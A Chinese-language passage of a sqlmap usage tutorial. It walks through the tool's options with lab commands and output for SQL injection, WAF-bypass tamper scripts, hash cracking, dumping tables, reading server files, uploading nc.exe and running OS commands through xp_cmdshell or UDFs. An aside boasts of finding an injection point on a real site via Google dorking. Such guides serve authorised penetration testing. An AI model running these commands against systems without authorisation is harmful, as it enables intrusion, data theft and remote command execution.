什麼是SQLmap?
SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(數據庫指紋、訪問底層文件系統、執行命令)。
如何獲得SQLmap:
SQLmap官方下載地址:
http://sourceforge.net/projects/sqlmap/
https://github.com/sqlmapproject/sqlmap
注:window下需要設置環境變量
當然你也可以使用git來獲取sqlmap
1
|
git
clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
之後可以直接使用命令來更新
1
|
python
sqlmap.py
--update
|
或者
1
|
git
pull
|
更新sqlmap
如何使用SQLmap:
文章可能內容有點長,但都是精華,請讀者們耐心的看吧 : )
1
|
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
|
當給sqlmap這麼一個url的時候,它會:
1
2
3
4
5
6
7
|
1、判斷可注入的參數
2、判斷可以用那種SQL注入技術來注入
3、識別出哪種數據庫
4、根據用戶選擇,讀取哪些數據
|
sqlmap支持五種不同的注入模式:
1
2
3
4
5
6
7
8
9
|
1、基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入。
2、基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
3、基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
4、聯合查詢注入,可以使用union的情況下的注入。
5、堆查詢注入,可以同時執行多條語句的執行時的注入。
|
sqlmap支持的數據庫有:
1
|
MySQL,
Oracle,
PostgreSQL,
Microsoft SQL
Server,
Microsoft Access,
IBM DB2,
SQLite,
Firebird,
Sybase和SAP MaxDB
|
可以提供一個簡單的URL,Burp或WebScarab請求日誌文件,文本文檔中的完整http請求或者Google的搜索,匹配出結果頁面,也可以自己定義一個正則來判斷那個地址去測試。
測試GET參數,POST參數,HTTP Cookie參數,HTTP User-Agent頭和HTTP Referer頭來確認是否有SQL注入,它也可以指定用逗號分隔的列表的具體參數來測試。
可以設定HTTP(S)請求的併發數,來提高盲注時的效率。
Youtube上有人做的使用sqlmap的視頻:
http://www.youtube.com/user/inquisb/videos
http://www.youtube.com/user/stamparm/videos
使用sqlmap的實例文章:
http://unconciousmind.blogspot.com/search/label/sqlmap
http://www.srxh1314.com/sqlmap-penetration.html
http://drops.wooyun.org/tips/1343
如果你想觀察sqlmap對一個點是進行了怎樣的嘗試判斷以及讀取數據的,可以使用-v參數。
共有七個等級,默認爲1:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
0、只顯示python錯誤以及嚴重的信息。
1、同時顯示基本信息和警告信息。(默認)
2、同時顯示debug信息。
3、同時顯示注入的payload。
4、同時顯示HTTP請求。
5、同時顯示HTTP響應頭。
6、同時顯示HTTP響應頁面。
|
如果你想看到sqlmap發送的測試payload最好的等級就是3。
獲取目標方式
目標URL
參數:-u或者--url
格式:http(s)://targeturl[:port]/[…]
例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users
從Burp或者WebScarab代理中獲取日誌
參數:-l
可以直接吧Burp proxy或者WebScarab proxy中的日誌直接倒出來交給sqlmap來一個一個檢測是否有注入。
從文本中獲取多個目標掃描
參數:-m
文件中保存url格式如下,sqlmap會一個一個檢測
1
2
3
4
5
|
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
|
從文件中加載HTTP請求
參數:-r
sqlmap可以從一個文本文件中獲取HTTP請求,這樣就可以跳過設置一些其他參數(比如cookie,POST數據,等等)。
比如文本文件內如下:
1
2
3
4
5
|
POST
/vuln.php
HTTP/1.1
Host:
www.target.com
User-Agent:
Mozilla/4.0
id=1
|
當請求是HTTPS的時候你需要配合這個--force-ssl參數來使用,或者你可以在Host頭後面加上:443
處理Google的搜索結果
參數:-g
sqlmap可以測試注入Google的搜索結果中的GET參數(只獲取前100個結果)。
例子:
1
|
python
sqlmap.py
-g
"inurl:\".php?id=1\""
|
(很牛B的功能,測試了一下,第十幾個就找到新浪的一個注入點)
此外可以使用-c參數加載sqlmap.conf文件裏面的相關配置。
請求
http數據
參數:--data
此參數是把數據以POST方式提交,sqlmap會像檢測GET參數一樣檢測POST的參數。
例子:
1
|
python
sqlmap.py
-u
"http://www.target.com/vuln.php"
--data="id=1"
-f
--banner
--dbs
--users
|
參數拆分字符
參數:--param-del
當GET或POST的數據需要用其他字符分割測試參數的時候需要用到此參數。
例子:
1
|
python
sqlmap.py
-u
"http://www.target.com/vuln.php"
--data="query=foobar;id=1"
--param-del=";"
-f
--banner
--dbs
--users
|
HTTP cookie頭
參數:--cookie,--load-cookies,--drop-set-cookie
這個參數在以下兩個方面很有用:
1、web應用需要登陸的時候。
2、你想要在這些頭參數中測試SQL注入時。
可以通過抓包把cookie獲取到,複製出來,然後加到--cookie參數裏。
在HTTP請求中,遇到Set-Cookie的話,sqlmap會自動獲取並且在以後的請求中加入,並且會嘗試SQL注入。
如果你不想接受Set-Cookie可以使用--drop-set-cookie參數來拒接。
當你使用--cookie參數時,當返回一個Set-Cookie頭的時候,sqlmap會詢問你用哪個cookie來繼續接下來的請求。當--level的參數設定爲2或者2以上的時候,sqlmap會嘗試注入Cookie參數。
HTTP User-Agent頭
參數:--user-agent,--random-agent
默認情況下sqlmap的HTTP請求頭中User-Agent值是:
1
|
sqlmap/1.0-dev-xxxxxxx
(http://sqlmap.org)
|
可以使用--user-anget參數來修改,同時也可以使用--random-agnet參數來隨機的從./txt/user-agents.txt中獲取。
當--level參數設定爲3或者3以上的時候,會嘗試對User-Angent進行注入。
HTTP Referer頭
參數:--referer
sqlmap可以在請求中僞造HTTP中的referer,當--level參數設定爲3或者3以上的時候會嘗試對referer注入。
額外的HTTP頭
參數:--headers
可以通過--headers參數來增加額外的http頭
HTTP認證保護
參數:--auth-type,--auth-cred
這些參數可以用來登陸HTTP的認證保護支持三種方式:
1、Basic
2、Digest
3、NTLM
例子:
1
|
python
sqlmap.py
-u
"http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1"
--auth-type
Basic --auth-cred
"testuser:testpass"
|
HTTP協議的證書認證
參數:--auth-cert
當Web服務器需要客戶端證書進行身份驗證時,需要提供兩個文件:key_file,cert_file。
key_file是格式爲PEM文件,包含着你的私鑰,cert_file是格式爲PEM的連接文件。
HTTP(S)代理
參數:--proxy,--proxy-cred和--ignore-proxy
使用--proxy代理是格式爲:http://url:port。
當HTTP(S)代理需要認證是可以使用--proxy-cred參數:username:password。
--ignore-proxy拒絕使用本地局域網的HTTP(S)代理。
HTTP請求延遲
參數:--delay
可以設定兩個HTTP(S)請求間的延遲,設定爲0.5的時候是半秒,默認是沒有延遲的。
設定超時時間
參數:--timeout
可以設定一個HTTP(S)請求超過多久判定爲超時,10.5表示10.5秒,默認是30秒。
設定重試超時
參數:--retries
當HTTP(S)超時時,可以設定重新嘗試連接次數,默認是3次。
設定隨機改變的參數值
參數:--randomize
可以設定某一個參數值在每一次請求中隨機的變化,長度和類型會與提供的初始值一樣。
利用正則過濾目標網址
參數:--scope
例如:
1
|
python
sqlmap.py
-l
burp.log
--scope="(www)?\.target\.(com|net|org)"
|
避免過多的錯誤請求被屏蔽
參數:--safe-url,--safe-freq
有的web應用程序會在你多次訪問錯誤的請求時屏蔽掉你以後的所有請求,這樣在sqlmap進行探測或者注入的時候可能造成錯誤請求而觸發這個策略,導致以後無法進行。
繞過這個策略有兩種方式:
1
2
|
1、--safe-url:提供一個安全不錯誤的連接,每隔一段時間都會去訪問一下。
2、--safe-freq:提供一個安全不錯誤的連接,每次測試請求之後都會再訪問一邊安全連接。
|
關掉URL參數值編碼
參數:--skip-urlencode
根據參數位置,他的值默認將會被URL編碼,但是有些時候後端的web服務器不遵守RFC標準,只接受不經過URL編碼的值,這時候就需要用--skip-urlencode參數。
每次請求時候執行自定義的python代碼
參數:--eval
在有些時候,需要根據某個參數的變化,而修改另個一參數,才能形成正常的請求,這時可以用--eval參數在每次請求時根據所寫python代碼做完修改後請求。
例子:
1
|
python
sqlmap.py
-u
"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"
--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
|
上面的請求就是每次請求時根據id參數值,做一次md5後作爲hash參數的值。
注入
測試參數
參數:-p,--skip
sqlmap默認測試所有的GET和POST參數,當--level的值大於等於2的時候也會測試HTTP Cookie頭的值,當大於等於3的時候也會測試User-Agent和HTTP Referer頭的值。但是你可以手動用-p參數設置想要測試的參數。例如: -p "id,user-anget"
當你使用--level的值很大但是有個別參數不想測試的時候可以使用--skip參數。
例如:--skip="user-angent.referer"
在有些時候web服務器使用了URL重寫,導致無法直接使用sqlmap測試參數,可以在想測試的參數後面加*
例如:
1
|
python
sqlmap.py
-u
"http://targeturl/param1/value1*/param2/value2/"
|
sqlmap將會測試value1的位置是否可注入。
指定數據庫
參數:--dbms
默認情況系sqlmap會自動的探測web應用後端的數據庫是什麼,sqlmap支持的數據庫有:
1
|
MySQL、Oracle、PostgreSQL、Microsoft
SQL Server、Microsoft
Access、SQLite、Firebird、Sybase、SAP
MaxDB、DB2
|
指定數據庫服務器系統
參數:--os
默認情況下sqlmap會自動的探測數據庫服務器系統,支持的系統有:Linux、Windows。
指定無效的大數字
參數:--invalid-bignum
當你想指定一個報錯的數值時,可以使用這個參數,例如默認情況系id=13,sqlmap會變成id=-13來報錯,你可以指定比如id=9999999來報錯。
只定無效的邏輯
參數:--invalid-logical
原因同上,可以指定id=13把原來的id=-13的報錯改成id=13 AND 18=19。
注入payload
參數:--prefix,--suffix
在有些環境中,需要在注入的payload的前面或者後面加一些字符,來保證payload的正常執行。
例如,代碼中是這樣調用數據庫的:
1
|
$query
= "SELECT * FROM users WHERE id=(’"
. $_GET[’id’]
. "’) LIMIT 0, 1";
|
這時你就需要--prefix和--suffix參數了:
1
|
python
sqlmap.py
-u
"http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1"
-p
id --prefix
"’)" --suffix
"AND (’abc’=’abc"
|
這樣執行的SQL語句變成:
1
|
$query
= "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
|
修改注入的數據
參數:--tamper
sqlmap除了使用CHAR()函數來防止出現單引號之外沒有對注入的數據修改,你可以使用--tamper參數對數據做修改來繞過WAF等設備。
下面是一個tamper腳本的格式:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# Needed imports
from lib.core.enums
import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__
= PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal
= payload
# your code to tamper the original payload
# return the tampered payload
return retVal
|
可以查看 tamper/ 目錄下的有哪些可用的腳本
例如:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
$
python sqlmap.py
-u
"http://192.168.136.131/sqlmap/mysql/get_int.php?id=1"
--tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py
-v
3
[hh:mm:03]
[DEBUG]
cleaning up configuration
parameters
[hh:mm:03]
[INFO]
loading tamper
script 'between'
[hh:mm:03]
[INFO]
loading tamper
script 'randomcase'
[hh:mm:03]
[INFO]
loading tamper
script 'space2comment'
[...]
[hh:mm:04]
[INFO]
testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04]
[PAYLOAD]
1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04]
[PAYLOAD]
1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04]
[PAYLOAD]
1/**/AnD/**/950=7041
[...]
[hh:mm:04]
[INFO]
testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04]
[PAYLOAD]
1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04]
[INFO]
GET parameter
'id' is
'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause'
injectable
[...]
|
探測
探測等級
參數:--level
共有五個等級,默認爲1,最大爲5,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根據相應的格式添加自己的payload。
這個參數不僅影響使用哪些payload同時也會影響測試的注入點,GET和POST的數據都會測試,HTTP Cookie在level爲2的時候就會測試,HTTP User-Agent/Referer頭在level爲3的時候就會測試。
總之在你不確定哪個payload或者參數爲注入點的時候,爲了保證全面性,建議使用高的level值。
風險等級
參數:--risk
共有四個風險等級,默認是1會測試大部分的測試語句,2會增加基於事件的測試語句,3會增加OR語句的SQL注入測試。
在有些時候,例如在UPDATE的語句中,注入一個OR的測試語句,可能導致更新的整個表,可能造成很大的風險。
測試的語句同樣可以在xml/payloads.xml中找到,你也可以自行添加payload。
頁面比較
參數:--string,--not-string,--regexp,--code
默認情況下sqlmap通過判斷返回頁面的不同來判斷真假,但有時候這會產生誤差,因爲有的頁面在每次刷新的時候都會返回不同的代碼,比如頁面當中包含一個動態的廣告或者其他內容,這會導致sqlmap的誤判。此時用戶可以提供一個字符串或者一段正則匹配,在原始頁面與真條件下的頁面都存在的字符串,而錯誤頁面中不存在(使用--string參數添加字符串,--regexp添加正則),同時用戶可以提供一段字符串在原始頁面與真條件下的頁面都不存在的字符串,而錯誤頁面中存在的字符串(--not-string添加)。用戶也可以提供真與假條件返回的HTTP狀態碼不一樣來注入,例如,響應200的時候爲真,響應401的時候爲假,可以添加參數--code=200。
參數:--text-only,--titles
有些時候用戶知道真條件下的返回頁面與假條件下返回頁面是不同位置在哪裏可以使用--text-only(HTTP響應體中不同)--titles(HTML的title標籤中不同)。
注入技術
測試是否是注入
參數:--technique
這個參數可以指定sqlmap使用的探測技術,默認情況下會測試所有的方式。
支持的探測方式如下:
1
2
3
4
5
|
B:
Boolean-based
blind SQL injection(布爾型注入)
E:
Error-based
SQL injection(報錯型注入)
U:
UNION query SQL
injection(可聯合查詢注入)
S:
Stacked queries
SQL injection(可多語句查詢注入)
T:
Time-based
blind SQL injection(基於時間延遲注入)
|
設定延遲注入的時間
參數:--time-sec
當使用繼續時間的盲注時,時刻使用--time-sec參數設定延時時間,默認是5秒。
設定UNION查詢字段數
參數:--union-cols
默認情況下sqlmap測試UNION查詢注入會測試1-10個字段數,當--level爲5的時候他會增加測試到50個字段數。設定--union-cols的值應該是一段整數,如:12-16,是測試12-16個字段數。
設定UNION查詢使用的字符
參數:--union-char
默認情況下sqlmap針對UNION查詢的注入會使用NULL字符,但是有些情況下會造成頁面返回失敗,而一個隨機整數是成功的,這是你可以用--union-char只定UNION查詢的字符。
二階SQL注入
參數:--second-order
有些時候注入點輸入的數據看返回結果的時候並不是當前的頁面,而是另外的一個頁面,這時候就需要你指定到哪個頁面獲取響應判斷真假。--second-order後面跟一個判斷頁面的URL地址。
列數據
標誌
參數:-b,--banner
大多數的數據庫系統都有一個函數可以返回數據庫的版本號,通常這個函數是version()或者變量@@version這主要取決與是什麼數據庫。
用戶
參數:-current-user
在大多數據庫中可以獲取到管理數據的用戶。
當前數據庫
參數:--current-db
返還當前連接的數據庫。
當前用戶是否爲管理用
參數:--is-dba
判斷當前的用戶是否爲管理,是的話會返回True。
列數據庫管理用戶
參數:--users
當前用戶有權限讀取包含所有用戶的表的權限時,就可以列出所有管理用戶。
列出並破解數據庫用戶的hash
參數:--passwords
當前用戶有權限讀取包含用戶密碼的彪的權限時,sqlmap會現列舉出用戶,然後列出hash,並嘗試破解。
例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
$
python sqlmap.py
-u
"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1"
--passwords
-v
1
[...]
back-end
DBMS:
PostgreSQL
[hh:mm:38]
[INFO]
fetching database
users password hashes
do
you want to
use dictionary
attack on retrieved
password hashes?
[Y/n/q]
y
[hh:mm:42]
[INFO]
using hash method:
'postgres_passwd'
what's the dictionary's
location?
[/software/sqlmap/txt/wordlist.txt]
[hh:mm:46]
[INFO]
loading dictionary
from:
'/software/sqlmap/txt/wordlist.txt'
do
you want to
use common
password suffixes?
(slow!)
[y/N]
n
[hh:mm:48]
[INFO]
starting dictionary
attack (postgres_passwd)
[hh:mm:49]
[INFO]
found:
'testpass' for
user:
'testuser'
[hh:mm:50]
[INFO]
found:
'testpass' for
user:
'postgres'
database
management system
users password hashes:
[*]
postgres [1]:
password hash:
md5d7d880f96044b72d0bba108ace96d1e4
clear-text
password:
testpass
[*]
testuser [1]:
password hash:
md599e5ea7a6f7c3269995cba3927fd0093
clear-text
password:
testpass
|
可以看到sqlmap不僅勒出數據庫的用戶跟密碼,同時也識別出是PostgreSQL數據庫,並詢問用戶是否採用字典爆破的方式進行破解,這個爆破已經支持Oracle和Microsoft SQL Server。
也可以提供-U參數來指定爆破哪個用戶的hash。
列出數據庫管理員權限
參數:--privileges
當前用戶有權限讀取包含所有用戶的表的權限時,很可能列舉出每個用戶的權限,sqlmap將會告訴你哪個是數據庫的超級管理員。也可以用-U參數指定你想看哪個用戶的權限。
列出數據庫管理員角色
參數:--roles
當前用戶有權限讀取包含所有用戶的表的權限時,很可能列舉出每個用戶的角色,也可以用-U參數指定你想看哪個用戶的角色。
僅適用於當前數據庫是Oracle的時候。
列出數據庫系統的數據庫
參數:--dbs
當前用戶有權限讀取包含所有數據庫列表信息的表中的時候,即可列出所有的數據庫。
列舉數據庫表
參數:--tables,--exclude-sysdbs,-D
當前用戶有權限讀取包含所有數據庫表信息的表中的時候,即可列出一個特定數據的所有表。
如果你不提供-D參數來列指定的一個數據的時候,sqlmap會列出數據庫所有庫的所有表。
--exclude-sysdbs參數是指包含了所有的系統數據庫。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是數據庫名稱。
列舉數據庫表中的字段
參數:--columns,-C,-T,-D
當前用戶有權限讀取包含所有數據庫表信息的表中的時候,即可列出指定數據庫表中的字段,同時也會列出字段的數據類型。
如果沒有使用-D參數指定數據庫時,默認會使用當前數據庫。
列舉一個SQLite的例子:
1
2
3
4
5
6
7
8
9
10
11
12
|
$
python sqlmap.py
-u
"http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1"
--columns
-D
testdb -T
users -C
name
[...]
Database:
SQLite_masterdb
Table:
users
[3
columns]
+---------+---------+
|
Column |
Type |
+---------+---------+
|
id |
INTEGER |
| name
| TEXT
|
|
surname |
TEXT |
+---------+---------+
|
列舉數據庫系統的架構
參數:--schema,--exclude-sysdbs
用戶可以用此參數獲取數據庫的架構,包含所有的數據庫,表和字段,以及各自的類型。
加上--exclude-sysdbs參數,將不會獲取數據庫自帶的系統庫內容。
MySQL例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
$
python sqlmap.py
-u
"http://192.168.48.130/sqlmap/mysql/get_int.php?id=1"
--schema
--batch
--exclude-sysdbs
[...]
Database:
owasp10
Table:
accounts
[4
columns]
+-------------+---------+
|
Column |
Type |
+-------------+---------+
|
cid |
int(11)
|
| mysignature
| text
|
|
password |
text |
| username
| text
|
+-------------+---------+
Database:
owasp10
Table:
blogs_table
[4
columns]
+--------------+----------+
|
Column |
Type |
+--------------+----------+
|
date |
datetime |
| blogger_name
| text
|
|
cid |
int(11)
|
| comment
| text
|
+--------------+----------+
Database:
owasp10
Table:
hitlog
[6
columns]
+----------+----------+
|
Column |
Type |
+----------+----------+
|
date |
datetime |
| browser
| text
|
|
cid |
int(11)
|
| hostname
| text
|
|
ip |
text |
| referer
| text
|
+----------+----------+
Database:
testdb
Table:
users
[3
columns]
+---------+---------------+
|
Column |
Type
|
+---------+---------------+
|
id |
int(11)
|
| name
| varchar(500)
|
|
surname |
varchar(1000)
|
+---------+---------------+
[...]
|
獲取表中數據個數
參數:--count
有時候用戶只想獲取表中的數據個數而不是具體的內容,那麼就可以使用這個參數。
列舉一個Microsoft SQL Server例子:
1
2
3
4
5
6
7
8
9
|
$
python sqlmap.py
-u
"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"
--count
-D
testdb
[...]
Database:
testdb
+----------------+---------+
|
Table
| Entries
|
+----------------+---------+
|
dbo.users
| 4
|
| dbo.users_blob
| 2
|
+----------------+---------+
|
獲取整個表的數據
參數:--dump,-C,-T,-D,--start,--stop,--first,--last
如果當前管理員有權限讀取數據庫其中的一個表的話,那麼就能獲取真個表的所有內容。
使用-D,-T參數指定想要獲取哪個庫的哪個表,不適用-D參數時,默認使用當前庫。
列舉一個Firebird的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
$
python sqlmap.py
-u
"http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"
--dump
-T
users
[...]
Database:
Firebird_masterdb
Table:
USERS
[4
entries]
+----+--------+------------+
|
ID |
NAME |
SURNAME |
+----+--------+------------+
|
1 |
luther |
blisset |
| 2
| fluffy
| bunny
|
|
3 |
wu |
ming |
| 4
| NULL
| nameisnull
|
+----+--------+------------+
|
可以獲取指定庫中的所有表的內容,只用-dump跟-D參數(不使用-T與-C參數)。
也可以用-dump跟-C獲取指定的字段內容。
sqlmap爲每個表生成了一個CSV文件。
如果你只想獲取一段數據,可以使用--start和--stop參數,例如,你只想獲取第一段數據可hi使用--stop 1,如果想獲取第二段與第三段數據,使用參數 --start 1 --stop 3。
也可以用--first與--last參數,獲取第幾個字符到第幾個字符的內容,如果你想獲取字段中地三個字符到第五個字符的內容,使用--first 3 --last 5,只在盲注的時候使用,因爲其他方式可以準確的獲取注入內容,不需要一個字符一個字符的猜解。
獲取所有數據庫表的內容
參數:--dump-all,--exclude-sysdbs
使用--dump-all參數獲取所有數據庫表的內容,可同時加上--exclude-sysdbs只獲取用戶數據庫的表,需要注意在Microsoft SQL Server中master數據庫沒有考慮成爲一個系統數據庫,因爲有的管理員會把他當初用戶數據庫一樣來使用它。
搜索字段,表,數據庫
參數:--search,-C,-T,-D
--search可以用來尋找特定的數據庫名,所有數據庫中的特定表名,所有數據庫表中的特定字段。
可以在一下三種情況下使用:
1
2
3
|
-C後跟着用逗號分割的列名,將會在所有數據庫表中搜索指定的列名。
-T後跟着用逗號分割的表名,將會在所有數據庫中搜索指定的表名
-D後跟着用逗號分割的庫名,將會在所有數據庫中搜索指定的庫名。
|
運行自定義的SQL語句
參數:--sql-query,--sql-shell
sqlmap會自動檢測確定使用哪種SQL注入技術,如何插入檢索語句。
如果是SELECT查詢語句,sqlap將會輸出結果。如果是通過SQL注入執行其他語句,需要測試是否支持多語句執行SQL語句。
列舉一個Mircrosoft SQL Server 2000的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
$
python sqlmap.py
-u
"http://192.168.136.131/sqlmap/mssql/get_int.php?id=1"
--sql-query
"SELECT 'foo'"
-v
1
[...]
[hh:mm:14]
[INFO]
fetching SQL SELECT
query output:
'SELECT 'foo''
[hh:mm:14]
[INFO]
retrieved:
foo
SELECT 'foo':
'foo'
$ python
sqlmap.py
-u
"http://192.168.136.131/sqlmap/mssql/get_int.php?id=1"
--sql-query
"SELECT 'foo', 'bar'"
-v
2
[...]
[hh:mm:50]
[INFO]
fetching SQL SELECT
query output:
'SELECT 'foo', 'bar''
[hh:mm:50]
[INFO]
the SQL query
provided has more
than a
field.
sqlmap will now
unpack it into
distinct
queries to
be able to
retrieve the output
even if
we are going
blind
[hh:mm:50]
[DEBUG]
query:
SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111))
AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50]
[INFO]
retrieved:
foo
[hh:mm:50]
[DEBUG]
performed 27
queries in
0 seconds
[hh:mm:50]
[DEBUG]
query:
SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114))
AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50]
[INFO]
retrieved:
bar
[hh:mm:50]
[DEBUG]
performed 27
queries in
0 seconds
SELECT 'foo',
'bar':
'foo, bar'
|
爆破
暴力破解表名
參數:--common-tables
當使用--tables無法獲取到數據庫的表時,可以使用此參數。
通常是如下情況:
1
2
3
|
1、MySQL數據庫版本小於5.0,沒有information_schema表。
2、數據庫是Microssoft Access,系統表MSysObjects是不可讀的(默認)。
3、當前用戶沒有權限讀取系統中保存數據結構的表的權限。
|
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。
列舉一個MySQL 4.1的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
$
python sqlmap.py
-u
"http://192.168.136.129/mysql/get_int_4.php?id=1"
--common-tables
-D
testdb --banner
[...]
[hh:mm:39]
[INFO]
testing MySQL
[hh:mm:39]
[INFO]
confirming MySQL
[hh:mm:40]
[INFO]
the back-end
DBMS is
MySQL
[hh:mm:40]
[INFO]
fetching banner
web server operating
system:
Windows
web
application technology:
PHP 5.3.1,
Apache 2.2.14
back-end
DBMS operating
system:
Windows
back-end
DBMS:
MySQL &lt;
5.0.0
banner:
'4.1.21-community-nt'
[hh:mm:40]
[INFO]
checking table
existence using items
from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40]
[INFO]
adding words used
on web page
to the
check list
please enter number
of threads?
[Enter for
1 (current)]
8
[hh:mm:43]
[INFO]
retrieved:
users
Database:
testdb
[1
table]
+-------+
| users
|
+-------+
|
暴力破解列名
參數:--common-columns
與暴力破解表名一樣,暴力跑的列名在txt/common-columns.txt中。
用戶自定義函數注入
參數:--udf-inject,--shared-lib
你可以通過編譯MySQL注入你自定義的函數(UDFs)或PostgreSQL在windows中共享庫,DLL,或者Linux/Unix中共享對象,sqlmap將會問你一些問題,上傳到服務器數據庫自定義函數,然後根據你的選擇執行他們,當你注入完成後,sqlmap將會移除它們。
系統文件操作
從數據庫服務器中讀取文件
參數:--file-read
當數據庫爲MySQL,PostgreSQL或Microsoft SQL Server,並且當前用戶有權限使用特定的函數。讀取的文件可以是文本也可以是二進制文件。
列舉一個Microsoft SQL Server 2005的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
$
python sqlmap.py
-u
"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"
\
--file-read
"C:/example.exe"
-v
1
[...]
[hh:mm:49]
[INFO]
the back-end
DBMS is
Microsoft SQL
Server
web server operating
system:
Windows 2000
web
application technology:
ASP.NET,
Microsoft IIS
6.0,
ASP
back-end
DBMS:
Microsoft SQL
Server 2005
[hh:mm:50]
[INFO]
fetching file:
'C:/example.exe'
[hh:mm:50]
[INFO]
the SQL query
provided returns
3 entries
C:/example.exe
file saved to:
'/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]
$
ls -l
output/192.168.136.129/files/C__example.exe
-rw-r--r--
1 inquis
inquis 2560
2011-MM-DD
hh:mm
output/192.168.136.129/files/C__example.exe
$ file
output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe:
PE32 executable
for MS
Windows (GUI)
Intel
80386 32-bit
|
把文件上傳到數據庫服務器中
參數:--file-write,--file-dest
當數據庫爲MySQL,PostgreSQL或Microsoft SQL Server,並且當前用戶有權限使用特定的函數。上傳的文件可以是文本也可以是二進制文件。
列舉一個MySQL的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
$
file /software/nc.exe.packed
/software/nc.exe.packed:
PE32 executable
for MS
Windows (console)
Intel 80386
32-bit
$ ls
-l
/software/nc.exe.packed
-rwxr-xr-x
1 inquis
inquis 31744
2009-MM-DD
hh:mm
/software/nc.exe.packed
$
python sqlmap.py
-u
"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1"
--file-write
\
"/software/nc.exe.packed"
--file-dest
"C:/WINDOWS/Temp/nc.exe"
-v
1
[...]
[hh:mm:29]
[INFO]
the back-end
DBMS is
MySQL
web server operating
system:
Windows 2003
or 2008
web
application technology:
ASP.NET,
Microsoft IIS
6.0,
ASP.NET
2.0.50727
back-end
DBMS:
MySQL &gt;=
5.0.0
[...]
do
you want confirmation
that the file
'C:/WINDOWS/Temp/nc.exe'
has been successfully
written on the
back-end
DBMS file system?
[Y/n]
y
[hh:mm:52]
[INFO]
retrieved:
31744
[hh:mm:52]
[INFO]
the file has
been successfully
written and
its size is
31744 bytes,
same
size as
the local file
'/software/nc.exe.packed'
|
運行任意操作系統命令
參數:--os-cmd,--os-shell
當數據庫爲MySQL,PostgreSQL或Microsoft SQL Server,並且當前用戶有權限使用特定的函數。
在MySQL、PostgreSQL,sqlmap上傳一個二進制庫,包含用戶自定義的函數,sys_exec()和sys_eval()。
那麼他創建的這兩個函數可以執行系統命令。在Microsoft SQL Server,sqlmap將會使用xp_cmdshell存儲過程,如果被禁(在Microsoft SQL Server 2005及以上版本默認禁制),sqlmap會重新啓用它,如果不存在,會自動創建。
列舉一個PostgreSQL的例子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
$
python sqlmap.py
-u
"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1"
\
--os-cmd
id -v
1
[...]
web
application technology:
PHP 5.2.6,
Apache 2.2.9
back-end
DBMS:
PostgreSQL
[hh:mm:12]
[INFO]
fingerprinting the
back-end
DBMS operating
system
[hh:mm:12]
[INFO]
the back-end
DBMS operating
system is
Linux
[hh:mm:12]
[INFO]
testing if
current user is
DBA
[hh:mm:12]
[INFO]
detecting back-end
DBMS version from
its banner
[hh:mm:12]
[INFO]
checking if
UDF 'sys_eval'
already exist
